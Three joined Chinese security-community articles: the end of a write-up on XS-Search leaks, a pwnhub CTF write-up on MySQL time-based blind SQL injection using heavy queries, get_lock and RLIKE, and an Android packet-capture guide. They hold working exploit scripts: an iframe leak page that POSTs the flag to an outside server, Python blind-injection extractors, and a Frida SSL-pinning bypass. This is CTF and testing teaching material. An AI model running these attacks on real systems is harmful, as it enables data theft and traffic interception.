发现图片加载不出来了, 这个原因就是在于referer中敏感的payload
现在我们关掉disable catch, 再重复一遍刚才的步骤
正常加载没有什么好说的.
现在加上敏感的payload, 图片依然可以记载出来, 因为使用了上一个请求的缓存, 实际上并没有向服务器发送请求
那么就可以整理出如下逻辑
在referer中加入敏感内容
├── 图片A加载失败 -> 图片A没有被缓存 -> 用户没有打开过带有图片A的文章(可能很多,但是先这样归纳
└── 图片A加载成功 -> 图片A被缓存 -> 用户打开过带有图片A的文章
> 当然这只是一个思路, 知道别人看过哪些文章本身并没有什么危害.
## 2.3 通过 iframe.contentWindow 进行盲注
这个的背景是一道CTF题目, 在搜索笔记时, 所有被搜索到的笔记都会单独作为一个iframe列出, 而管理员拥有的一个私有的笔记,
这个笔记的内容中放置了flag, 题目没有限制外域打开(即没有设置 `X-Frame-Options` ), 可以通过
[Window.frames](https://developer.mozilla.org/en-US/docs/Web/API/Window/frames) 接口通过 frames.length 判断搜索的结果个数从而盲注得到flag.
具体来讲就是:
`http://challenges.fbctf.com:8082/search?query=fb{` => frames.length = 1
`http://challenges.fbctf.com:8082/search?query=fb{a` => frames.length = 0
`http://challenges.fbctf.com:8082/search?query=fb{b` => frames.length = 0
`http://challenges.fbctf.com:8082/search?query=fb{c` => frames.length =1
`http://challenges.fbctf.com:8082/search?query=fb{ca` => frames.length = 0
.....
直到发现}为止
<!DOCTYPE html>
<html>
<head>
<title>fbctf secret note keeper</title>
</head>
<body></body>
<script>
var chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^`{|}~ ';
var charLen = chars.length;
var ENDPOINT = "http://challenges.fbctf.com:8082/search?query="
var x = document.createElement('iframe');
function search(leak, charCounter) {
var curChar = chars[charCounter];
x.setAttribute("src", 'http://challenges.fbctf.com:8082/search?query=' + leak + curChar);
document.body.appendChild(x);
console.log("leak = " + leak + curChar);
x.onload = () => {
if (x.contentWindow.frames.length != 0) {
fetch('http://myserver/leak?' + escape(leak), {
method: "POST",
mode: "no-cors",
credentials: "include"
});
leak += curChar
}
search(leak, (charCounter + 1) % chars.length);
}
}
function exploit() {
search("fb{", 0);
}
exploit();
</script>
</html>
> 题目来自 Facebook CTF
## 2.4通过CSS
CSS可以通过选择器, 为指定的内容进行指定的渲染, 通过选择器可以获取保存在属性中的数据.
可以通过自定义连字的方式获取标签中的内容
(CSS选择器无法通过标签内容进行选择
具体的思路参考:
[面试.pptx](https://www.yuque.com/attachments/yuque/0/2019/pptx/179487/1572946067117-6832d2a3-48b9-468a-9842-d17b5d1ef157.pptx?_lake_card=%7B%22uid%22%3A%221572946066427-0%22%2C%22src%22%3A%22https%3A%2F%2Fwww.yuque.com%2Fattachments%2Fyuque%2F0%2F2019%2Fpptx%2F179487%2F1572946067117-6832d2a3-48b9-468a-9842-d17b5d1ef157.pptx%22%2C%22name%22%3A%22%E9%9D%A2%E8%AF%95.pptx%22%2C%22size%22%3A3905576%2C%22type%22%3A%22application%2Fvnd.openxmlformats-officedocument.presentationml.presentation%22%2C%22ext%22%3A%22pptx%22%2C%22progress%22%3A%7B%22percent%22%3A0%7D%2C%22status%22%3A%22done%22%2C%22percent%22%3A0%2C%22id%22%3A%220PzQY%22%2C%22card%22%3A%22file%22%7D)
(附件中还有一份
这是面试时写的PPT的一部分, 这部分当时是参考下面两篇文章写的, 当时为了讲清楚PPT中甚至还有视频
<https://xz.aliyun.com/t/3075>
<https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/>
Jquery定时攻击:
<https://portswigger.net/research/abusing-jquery-for-css-powered-timing-attacks>
攻击场景较少, 速度较慢, 一笔带过
# 3.防御方案
在防御方面需要浏览器厂商和服务提供商双方的努力
在浏览器方面:
Safari采用了 `Verified Partitioned Cache` 用来防止用户被基于缓存的方式追踪,
极大的缓解了通过页面缓存进行历史记录追踪的攻击方式.
在服务提供商方面:
1. 正确的配置有效的CSRF-Token
2. 设置cookie的属性为same-site
3. 正确的配置 X-Frame-Options 头部, 只允许信任的站点打开站点的iframe
4. 验证码, 部分 `XS-search` 攻击需要频繁的打开页面, 在用户请求超过一定频率时弹出一个有效的验证码可以缓解 `XS-Search`
5. 合理的配置CSP
# 4.小结
通过上面几个例子应该大致描绘出来 `XS-Search` 的样貌, 但是这种攻击手段并不新颖, 这种攻击思路最早一次被利用在2006年
1. 漏洞利用复杂, 每一个漏洞的逻辑思路都很复杂, 哪怕是在CTF这种简单抽象的漏洞环境中利用起来都不简单.
2. 需要留住用户在当前页面, 需要获取的信息越多需要的时间就越长.
但是如果只是获取少量但是敏感的信息却有奇效, 例如: 一些钱包中的支付token, 银行卡的卡号等...
# 5.参考资料
<https://sectt.github.io/writeups/FBCTF19/secret_note_keeper/README>
<https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy#Cross-origin_script_API_access>
<https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options>
<https://github.com/xsleaks/xsleaks/wiki/Browser-Side-Channels>
<https://www.anquanke.com/post/id/176049>
<https://www.youtube.com/watch?v=HcrQy0C-hEA>
<https://portswigger.net/daily-swig/cross-site-search-attack-applied-to-snoop-on-googles-bug-tracker>
<https://www.owasp.org/images/a/a7/AppSecIL2015_Cross-Site-Search-Attacks_HemiLeibowitz.pdf>
<https://xz.aliyun.com/t/3075>
<https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/> | 社区文章 |
# pwnhub time injection带来的新思路
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
前几天pwnhub的一道新题`全宇宙最最简单的PHP博客系统`,带来了不少time injection的新思路，今天写这篇文章研究一下
## 题目分析
题目直接给出了源码
核心代码非常少，我就把漏洞文件的代码全部给出了
article.php
<?php
require 'conn.php';
$id = $_GET['id'];
if(preg_match("/(sleep|benchmark|outfile|dumpfile|load_file|join)/i", $_GET['id']))
{
die("you bad bad!");
}
$sql = "select * from article where id='".intval($id)."'";
$res = mysql_query($sql);
if(!$res){
die("404 not found!");
}
$row = mysql_fetch_array($res, MYSQL_ASSOC);
mysql_query("update view set view_times=view_times+1 where id = '".$id." '");
?>
注意到题目功能非常少：
conn.php 连接文件
index.php 主页
article.php 文章页面
而核心代码只有article.php十几行
所提供的线索即
1.查询文章
2.记录查看次数
我们逐句分析，发现在查询的时候
$sql = "select * from article where id='".intval($id)."'";
我们传入的参数会被强转int，这里显然就不存在注入了
然后是更新查看次数的地方，处理非常简单
if(preg_match("/(sleep|benchmark|outfile|dumpfile|load_file|join)/i", $_GET['id']))
{
die("you bad bad!");
}
可以看到一些危险函数
outfile dumpfile load_file
都已经被过滤了
然后有关时间的函数
sleep benchmark
数都被过滤
但是不难发现
select or and ()
等常用字符都还存在，那么能不能进行注入呢？
首先我们可以确定
此题应该用的是时间注入
但是时间相关函数都被过滤了，我们如何进行时间盲注呢？
这里有3种发散思维的解法，我在这里都总结了一下，以便日后的使用
## Heavy Query
个人认为这个方法是本题的最优解
原理就如方法的名字：大负荷查询
即用到一些消耗资源的方式让数据库的查询时间尽量变长
而消耗数据库资源的最有效的方式就是让两个大表做笛卡尔积，这样就可以让数据库的查询慢下来
而最后找到系统表information_schema数据量比较大，可以满足要求，所以我们让他们做笛卡尔积。
我们看一下数量
mysql> select count(*) from information_schema.tables;
+----------+
| count(*) |
+----------+
| 298 |
+----------+
不难看到系统表里共有298行数据
同样的
mysql> select count(*) from information_schema.COLUMNS;
+----------+
| count(*) |
+----------+
| 3131 |
+----------+
1 row in set (0.08 sec)
不难看出系统库数据之多
倘若我们对如此大量的数据进行2次甚至3次以上的笛卡尔积运算，运算量是非常可观的
不妨进行一些本地测试，当然这里的延时时间和本地数据库内容的量有关
尝试1：使用3列
select * from content where id = 1 and 1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C);
结果
+----+-------------------------------------+
| id | content |
+----+-------------------------------------+
| 1 | I think you may need sql injection! |
+----+-------------------------------------+
1 row in set (21 min 23.49 sec)
延时高达21min
尝试2：使用2列+1表
select * from content where id = 1 and 1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.Tables C);
结果
+----+-------------------------------------+
| id | content |
+----+-------------------------------------+
| 1 | I think you may need sql injection! |
+----+-------------------------------------+
1 row in set (2 min 4.42 sec)
延时大约在2分钟左右
尝试3：使用2列+1库
select * from content where id = 1 and 1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.SCHEMATA C);
结果
+----+-------------------------------------+
| id | content |
+----+-------------------------------------+
| 1 | I think you may need sql injection! |
+----+-------------------------------------+
1 row in set (4.47 sec)
延时大约在5s左右
所以大家可以看见，想要多大的负荷都可以自己调整，如果连3列都嫌少，还可以
select * from content where id = 1 and 1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C,information_schema.columns D,information_schema.columns E .....);
想要多少有多少，可以说机动性很强了
应用起来也很容易，一般情况下，我们的盲注是这样测试的
id = 1' and 1 and sleep(5)%23
id = 1' and 0 and sleep(5)%23
前者会sleep 5秒，而后者瞬间响应
用heavy query也是同理
id = 1' and 1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.SCHEMATA C)%23
id = 1' and 0 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.SCHEMATA C)%23
以我本地为例
mysql> select * from content where id = 1 and 1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.SCHEMATA C);
+----+-------------------------------------+
| id | content |
+----+-------------------------------------+
| 1 | I think you may need sql injection! |
+----+-------------------------------------+
1 row in set (4.91 sec)
mysql> select * from content where id = 1 and 0 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.SCHEMATA C);
Empty set (0.00 sec)
结果显而易见，为此我们就可以轻松写出盲注脚本
import requests
url = "http://52.80.179.198:8080/article.php?id=1' and %s and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)%%23"
data = ""
for i in range(1,1000):
for j in range(33,127):
#payload = "(ascii(substr((database()),%s,1))=%s)"%(i,j) #post
#payload = "(ascii(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()),%s,1))=%s)" % (i, j) #article,flags
#payload = "(ascii(substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='flags'),%s,1))=%s)" % (i, j) #flag
payload = "(ascii(substr((select flag from flags limit 1),%s,1))=%s)" % (i, j)
payload_url = url%(payload)
try:
r = requests.get(url=payload_url,timeout=8)
except:
data +=chr(j)
print data
break
即可探测到数据库为
post
表为
article,flags
字段为
flag
Flag为
pwnhub{flag:a6fe3d9432024e97aa40bd867161561e}
## Get_lock()
这也是长亭科技大佬提出来的新的时间盲注方案，应该也是本题的预期解
先来了解一下mysql的get_lock()是什么
get_lock()是Mysql的锁机制
(1)get_lock会按照key来加锁，别的客户端再以同样的key加锁时就加不了了，处于等待状态。
(2)当调用release_lock来释放上面加的锁或客户端断线了，上面的锁才会释放，其它的客户端才能进来。
我们同时打开2个cmd，分别记做cmd1和cmd2，并登入mysql
我们在cmd1执行
mysql> select get_lock('skysec.top',1);
+--------------------------+
| get_lock('skysec.top',1) |
+--------------------------+
| 1 |
+--------------------------+
1 row in set (0.00 sec)
对key为`skysec.top`的资源加锁
此时我们再在cmd2执行
mysql> select get_lock('skysec.top',5);
+--------------------------+
| get_lock('skysec.top',5) |
+--------------------------+
| 0 |
+--------------------------+
1 row in set (5.00 sec)
发现sleep了5s
我们换个数字试试
mysql> select get_lock('skysec.top',2);
+--------------------------+
| get_lock('skysec.top',2) |
+--------------------------+
| 0 |
+--------------------------+
1 row in set (2.00 sec)
没错，2s正是我们想要的time injection的时间长度
然后我们关闭cmd1后再在cmd2执行
mysql> select get_lock('skysec.top',5);
+--------------------------+
| get_lock('skysec.top',5) |
+--------------------------+
| 1 |
+--------------------------+
1 row in set (0.00 sec)
发现cmd1断开后，锁就自动释放了
既然这么好用，我为什么不说他是最佳方案呢？
因为这种方法需要有前提，即长连接
一般在php5版本系列中，我们建立与Mysql的连接使用的是
mysql_connect()
而在本题中我们不难发现，conn.php中使用的方法是
$con = mysql_pconnect("mysql",$_ENV['MYSQL_USER'],$_ENV['MYSQL_PASSWORD']);
这两者有什么不同呢？
mysql_connect() 脚本一结束，到服务器的连接就被关闭
mysql_pconnect() 打开一个到 MySQL 服务器的持久连接
官方手册是这样描述二者的主要区别的:
mysql_pconnect() 和 mysql_connect() 非常相似，但有两个主要区别。
首先，当连接的时候本函数将先尝试寻找一个在同一个主机上用同样的用户名和密码已经打开的（持久）连接，如果找到，则返回此连接标识而不打开新连接。
其次，当脚本执行完毕后到 SQL 服务器的连接不会被关闭，此连接将保持打开以备以后使用（mysql_close() 不会关闭由
mysql_pconnect() 建立的连接）。
简单来说，即
mysql_connect()
使用后立刻就会断开
而
mysql_pconnect()
会保持连接，并不会立刻断开
但这和get_lock()的时间盲注有什么关系呢？
原因很简单
我们的时间盲注必须基于我们请求加锁的资源已经被其他客户端加锁过了
而mysql_connect()一结束，就会立刻关闭连接
这就意味着，我们刚刚对资源`skysec.top`加完锁就立刻断开了
而get_lock一旦断开连接，就会立刻释放资源
那么也就破坏了我们的前提：我们请求加锁的key已经被其他客户端加锁过了
所以如果使用了`mysql_connect()`，那么get_lock的方法将不适用
而`mysql_pconnect()`建立的却是长连接，我们的锁可以在一段有效的时间中一直加持在特定资源上
从而使我们可以满足大前提，而导致新的time injection手法
当然这里还有一个注意点
即第一次加锁后，需要等待1~2分钟，再访问的时候服务器就会判断你为客户B，而非之前加锁的客户A
此时即可触发get_lock
同样我们也本地测试一下，还是之前的cmd1和cmd2
cmd1执行
mysql> select * from content where id = 1 and get_lock('skysec.top',1);
+----+-------------------------------------+
| id | content |
+----+-------------------------------------+
| 1 | I think you may need sql injection! |
+----+-------------------------------------+
1 row in set (0.00 sec)
对资源`skysec.top`加锁成功
然后cmd2执行
mysql> select * from content where id =1 and 1 and get_lock('skysec.top',5);
Empty set (5.00 sec)
mysql> select * from content where id =1 and 0 and get_lock('skysec.top',5);
Empty set (0.00 sec)
从而达到时间盲注的作用
脚本如下
# -*- coding: utf-8 -*- import requests
import time
url1 = "http://52.80.179.198:8080/article.php?id=1' and get_lock('skysec.top',1)%23"
r = requests.get(url=url1)
time.sleep(90)
# 加锁后变换身份
url2 = "http://52.80.179.198:8080/article.php?id=1' and %s and get_lock('skysec.top',5)%%23"
data = ""
for i in range(1,1000):
print i
for j in range(33,127):
#payload = "(ascii(substr((database()),%s,1))=%s)"%(i,j) #post
payload = "(ascii(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()),%s,1))=%s)" % (i, j) #article,flags
#payload = "(ascii(substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='flags'),%s,1))=%s)" % (i, j) #flag
#payload = "(ascii(substr((select flag from flags limit 1),%s,1))=%s)" % (i, j)
payload_url = url2%(payload)
try:
s = requests.get(url=payload_url,timeout=4.5)
except:
data +=chr(j)
print data
break
最后再总结一下基于get_lock()的新型时间注入
首先必须满足前提：
使用长连接，即
mysql_pconnect()
然后构造被加锁的数据
1.以客户A的身份,对资源skysec.top进行加锁
2.等待90s，让服务器将我们下一次的查询当做客户B
3.利用客户B去尝试对资源skysec.top进行加锁，由于资源已被加锁，导致延时
## Rlike
这是C014大佬用的方法，我也是真的服
即利用SQL中多次因正则消耗计算资源，达到延时的目的
即构造一个超长的字符串，进行正则匹配
concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'
我测试了一下
mysql> select * from content where id =1 and IF(1,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) and '1'='1';
Empty set (4.24 sec)
mysql> select * from content where id =1 and IF(0,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) and '1'='1';
Empty set (0.00 sec)
的确可以达到时间延迟的目的
但是效果好像不是很好，也不推荐这个方法(不过思路可以，或许某些特定情况适用)
附上C014大佬的题解：
https://www.cdxy.me/?p=789
感兴趣的可以研究一下
## 后记
做惯了sleep的盲注，本以为heavy
query已经够可以的了，没想到还有get_lock和正则计算这样新鲜的解法，果然好题利于发散思维~给pwnhub打call~
最后归纳出一些时间盲注的方法
1.sleep()
2.benchmark()
3.heavy query
4.get_lock()
5.rlike | 社区文章 |
# 前言
这篇文章算是总结一下我之前抓包遇到的一些问题, 个人属性里带bug, 所以遇到的问题会比较多, 算是给大家提供一个抓包抓不到应该如何解决的思路。
# 工具介绍
Android中可用的抓包软件有fiddler、burpsuite、Charls、HttpCanary、Packet
Capture、tcpdump、wireshark等等。tcpdump和wireshark可以解决部分不是使用HTTP/HTTPS协议传输数据的app,
用tcpdump抓包, 用wireshark分析数据包。
如果想抓取三大运营商传输的数据包并分析, 因其路由规则的限制, 可能还是需要在android系统中利用iptables设置反向代理,
用Fiddler解密数据包之后分析, 不过好像Fiddler好像有自己的反向代理设置方法, 这部分了解不多。
Charls是Mac上常见的抓包工具, 我没用过, 不过网上蛮多教程的。HttpCanary和Packet
Capture这两个工具与常规的电脑上的代理抓包不同的是, 能保证一定能抓取到数据包, 我一般都用Packet
Capture来验证应用是否发送请求。HttpCanary被称为移动端的Fiddler, 能够改包和劫持双向认证的应用传输的数据包, 感觉还是蛮强大的。
## Fiddler抓取Android数据包
### 基础设置
1. 下载好Fiddler之后, 打开该软件, 生成证书。
设置连接
设置HTTPS
用ipconfig查看当前主机的ip
手机和电脑在同一局域网中即可, 手机端设置WLAN种给网络设置代理, 选择对应的WLAN, 选中修改网络, 手动设置代理, 主机名填上面电脑ip地址,
端口写fiddler默认端口8888。
手机端用浏览器访问<http://电脑IP:8888(http://电脑IP:端口>), 观察网络是否访问成功, 成功之后,
点击"FiddlerRoot.certificate"下载Fiddler的证书并安装。
如果上述步骤都原原本本做完了, 还是不能出现上图的效果, 可以换个路由或者直接手机开热点。我当时遇到不能访问的问题, ping了一下,
一直显示destination unreachable, 应该是路由器安全规则的限制, 换成了手机开热点就ok了。
继续进行测试的时候, 发现不管是修改密码还是用验证码进行登录, 我都抓不到那些包。想不出是哪里出了问题.....大概找了一下, 发现是SSL
Pinning的机制阻止了我抓包。使用了Xposed+JustTrustMe, 就抓取到数据包了, 数据包如下：
如果知道Fiddler怎么抓包了, 不知道怎么改包, 可以用Fiddler左下角的黑框框中断请求, 修改之后再发出, 比如输入`bpu
baidu.com`就可以中断所有发向baidu.com的请求。
之后查看中断的数据包会出现如下效果, 修改完点击Run to Completion就可以把请求发出去了。
### Fiddler设置之后手机无法连接上代理
1. 关闭电脑防火墙
2. 打开注册表（cmd-regedit）, 在HKEY_CURRENT_USER\Software\Microsoft\Fiddler2下创建一个DWORD, 值置为80（十进制）[在空白处右键即可创建]。
1. 编写fiddlerScript rule：在Fiddler上点击Rules->Customize Rules, 用Ctrl+F查找OnBeforeRequest方法添加一行代码。
if (oSession.host.toLowerCase() == "webserver:8888")
{
oSession.host = "webserver:80";
}
## Burpsuite抓取Android数据包
### 基础设置
Burpsuite改包的步骤就不在这里赘述了, 网上有很多教程, 接下来我们要设置burpsuite, 以求抓取到数据包, 设置如下：
提示, 监听的端口号、电脑内网ip要和手机上的代理设置一致, 电脑内网ip可以用ipconfig查看。用burpsuite一直抓取不到https的证书,
怀疑是我burpsuite证书没有安装到手机上, 所以我现在先将它装到系统证书中, 再看看能不能先抓取到https的证书。
### 安装证书至系统中
1、下载.der格式的证书, 将下载的cacert.der转换格式, 并获取证书hash值, 生成<证书hash>.0文件, 例如：7bf17d07.0
2、把<证书hash>.0证书push到/data/local/tmp目录下后移动至/system/etc/security/cacerts/
(mv操作出错之后, 先试一下“mount -o rw,remount /system”如果出现了报错“mount: '/system' not in
/proc/mounts”, 再尝试“mount -o rw,remount /”, 就可以操作system目录了)
3、重启手机
只有root环境才能将proxy证书安装至android系统证书中, 这种方法好像能绕过应用本地证书校验,
其实burp和Fiddler还有其他的代理证书的安装方法都差不多,
最后将<hash证书>.0的文件mv至/system/etc/security/cacerts/目录下即可, 不建议直接将用户证书直接mv,
可能会导致环境出错也不好排查证书错误, 甚至可能导致android网络环境出错。</hash证书>
下面是具体步骤, 先在设置本地代理, 将burpsuite证书下载下来
打开浏览器输入本地地址, 下载.der格式的证书
此处参照文章[BrupSuit证书导入Android7.0以上手机](https://blog.chenjia.me/articles/171029-223953.html),
因为我windows本地安装了ubuntu的子系统, 所以直接用ubuntu1604子系统对证书进行操作。
// 转换证书的格式
$ openssl x509 -in cacert.der -inform DER -out cacert.pem -outform PEM
// 提取证书的hash
$ openssl x509 -inform PEM -subject_hash -in cacert.pem
上图中的`7bf17d07`就为证书的hash值, 将该目录下生成的`7bf17d07.0`文件push到手机中,
最后移动到/system/etc/security/cacerts/目录下
$ adb push 7bf17d07.0 /data/local/tmp
$ adb shell
sailfish:/ $ su
sailfish:/ # mount -o rw,remount / # 拥有操作/目录的权限, 本意是要操作/system目录
sailfish:/ # mv /data/local/tmp/7bf17d07.0 /system/etc/security/cacerts/7bf17d07.0
按照原本的文章应该给`7bf17d07.0`文件添加644权限, 但是我具体操作的时候没有添加权限也成功了, 如果按照我上面的步骤出错了,
可以尝试给文件添加权限。重启之后可以看到证书安装成功。
第一次安装证书的时候出现了不能访问使用https协议的网站, 应该是我测试的手机环境出现了问题, 我重新刷机再按照上面的步骤走一遍就成功了,
如果你们也遇到访问https网站失败的问题, 可以尝试一下使用这个方法。
# Android抓包介绍
抓包最重要的是看能不能抓取到数据包, 想要抓到包就要看app使用什么传输协议了, 一般情况下使用HTTP都是能抓到包的, 这也就不难理解,
为什么google坚持推广HTTPS了。为什么说使用HTTPS会抓不到包？现在的HTTPS都是基于TLS协议的,
它的特点就是需要确认传输双方的身份。确认了身份之后再传输数据, 这样就能避免中间人攻击了。下面来看看HTTPS, 是怎么进行数据传输的,
发现HTTPS需要先建立连接才能传输数据。
讲到要认证对方的身份,
我就想起了之前翻译的一篇[HTTP安全](https://se8s0n.github.io/2018/09/11/HTTP%E7%B3%BB%E5%88%97\(%E4%BA%94\)),
里面就有提及到在使用HTTPS协议的过程中, 客户端和服务器通过证书来判断对方的身份。之前没有怎么理解, 现在才对证书的作用有比较深刻的理解。
文章中举了个例子, Chrome浏览器通过判断是否有证书来判断你访问的网站是否安全的,
并不是你访问的网站真的是安全的。提及这个是因为app使用HTTPS传输也是看证书的, 只不过有的app限制的比较严格只信任自带的证书,
有的app安全要求没那么高, 直接信任系统证书。
## 抓包出错排查思路
上面是大概的排查思路, 具体的细节可能有些差异。如果proxy带有证书校验, 且JustTrustMe绕不过去, 可能要自己重新根据该应用定制hook模块,
去绕过其本地证书校验, 但是大部分应用都能通过将证书安装为系统证书绕过, 如果无法在root环境下运行, 文章[《Intercepting traffic
from Android Flutter
applications》](https://blog.nviso.be/2019/08/13/intercepting-traffic-from-android-flutter-applications/)和JustTrustMe的源码应该能给你提供一点hook模块绕过证书校验的思路,
《Intercepting traffic from Android Flutter
applications》讲的是如何绕过google开源框架Flutter中的证书校验进行抓包。
最后说抓不到包还有一种可能性,
就是要求一定要用SIM卡发出传输请求的数据包....不过这个应该应该只有使用了三大运营商的SDK或他们的应用才会出现这种情况,
这部分应该只能用反向代理才有可能抓取到传输的数据包了, 具体情况就要具体分析了。
当时尝试tcpdump+wireshark效果不怎么样, 因为所有的数据都经过了加密, 而wireshark不能解密,
所以对于加密传输的数据包这种方法可能有点鸡肋,
听说有[mitmdump](https://docs.mitmproxy.org/stable/)抓包工具专门处理linux环境下http/https的数据包,
不过我自己没用过, 之后要是接触了会进一步补充。
## SSL pinning和双向认证的区别
SSL pinning实际上是客户端锁定服务器端的证书, 在要与服务器进行交互的时候, 服务器端会将CA证书发送给客户端,
客户端会调用函数对服务器端的证书进行校验, 与本地的服务器端证书(存放在`\<app>\asset`目录或`\res\raw`下)进行比对。
而双向认证是添加了客户端向服务器发送CA证书, 服务器端对客户端的证书进行校验的部分,
具体详情可看文章[扯一扯HTTPS单向认证、双向认证、抓包原理、反抓包策略](https://juejin.im/post/5c9cbf1df265da60f6731f0a)的单向认证、双向认证部分的内容。
## 抓取HTTPS的数据包
### Frida绕过SSL单向校验
昨天刚好遇到JustTrustMe无法绕过SSL单向校验的情况, 这几天接触了Frida, 就尝试用DBI的方法绕过SSL的单向校验,
参考文章[Universal Android SSL Pinning bypass with
Frida](https://techblog.mediaservice.net/2017/07/universal-android-ssl-pinning-bypass-with-frida/)这里就不详细地说明Frida的安装方法及使用方法了。
设置Fiddler代理, 在本地下载Fiddler的证书, 将证书直接重命名为`cert-der.crt`。之后将证书push到`/data/local/tmp`目录下, 在adb shell里输入`./frida-server
&`再在PC端进行操作。
新建一个frida-android-repinning.js文件, 详细代码如下：
setTimeout(function(){
Java.perform(function (){
console.log("");
console.log("[.] Cert Pinning Bypass/Re-Pinning");
var CertificateFactory = Java.use("java.security.cert.CertificateFactory");
var FileInputStream = Java.use("java.io.FileInputStream");
var BufferedInputStream = Java.use("java.io.BufferedInputStream");
var X509Certificate = Java.use("java.security.cert.X509Certificate");
var KeyStore = Java.use("java.security.KeyStore");
var TrustManagerFactory = Java.use("javax.net.ssl.TrustManagerFactory");
var SSLContext = Java.use("javax.net.ssl.SSLContext");
// Load CAs from an InputStream
console.log("[+] Loading our CA...")
var cf = CertificateFactory.getInstance("X.509");
try {
var fileInputStream = FileInputStream.$new("/data/local/tmp/cert-der.crt");
}
catch(err) {
console.log("[o] " + err);
}
var bufferedInputStream = BufferedInputStream.$new(fileInputStream);
var ca = cf.generateCertificate(bufferedInputStream);
bufferedInputStream.close();
var certInfo = Java.cast(ca, X509Certificate);
console.log("[o] Our CA Info: " + certInfo.getSubjectDN());
// Create a KeyStore containing our trusted CAs
console.log("[+] Creating a KeyStore for our CA...");
var keyStoreType = KeyStore.getDefaultType();
var keyStore = KeyStore.getInstance(keyStoreType);
keyStore.load(null, null);
keyStore.setCertificateEntry("ca", ca);
// Create a TrustManager that trusts the CAs in our KeyStore
console.log("[+] Creating a TrustManager that trusts the CA in our KeyStore...");
var tmfAlgorithm = TrustManagerFactory.getDefaultAlgorithm();
var tmf = TrustManagerFactory.getInstance(tmfAlgorithm);
tmf.init(keyStore);
console.log("[+] Our TrustManager is ready...");
console.log("[+] Hijacking SSLContext methods now...")
console.log("[-] Waiting for the app to invoke SSLContext.init()...")
SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").implementation = function(a,b,c) {
console.log("[o] App invoked javax.net.ssl.SSLContext.init...");
SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").call(this, a, tmf.getTrustManagers(), c);
console.log("[+] SSLContext initialized with our custom TrustManager!");
}
});
},0);
在cmd, 输入如下命令:
$ adb push burpca-cert-der.crt /data/local/tmp/cert-der.crt
$ frida -U -f it.app.mobile -l frida-android-repinning.js --no-pause
在关闭应用的情况下(避免Magisk Hide处于开启状态), 可得到回显并绕过SSL pinning。
### 绕过SSL双向校验
其实SSL双向校验是在SSL单向校验的基础上,
在说明这部分内容的时候同时也会有绕过SSL单向校验详细的步骤。参考文章[Android平台HTTPS抓包解决方案及问题分析](https://juejin.im/post/5cc313755188252d6f11b463#heading-14),
我们可以先用sxxl.app来练练手。
在手机上设置完代理之后, 点击完确认, 发现app出现如下弹窗：
在这个时候查看Fiddler会发现应用没有发出任何请求, 这是因为app会对服务器端的证书进行校验, 这时候我们前面安装的Fiddler证书就不起作用了,
应用在发现证书是伪造的情况下拒绝发送请求。根据这个报错+抓不到包, 我们可以确定应用是存在单向校验的, 也就是SSL pinning, 让我们先来解决SSL
pinning的问题。使用JustTrustMe可以绕过客户端的证书校验, 下面勾选上JustTrustMe,
在Xposed框架下使用JustTrustMe绕过SSL pinning。
绕过SSL pinning之后, 就能使用Fiddler抓取到HTTPS的数据包了。
我随便输入了一个手机号码, 按下确定之后, 服务器回传了400的状态码过来, 说需要发送证书以确认客户端的身份。到这一步基本能确定是存在双向校验的了,
接下来的工作就是绕过SSL服务器端的校验了。
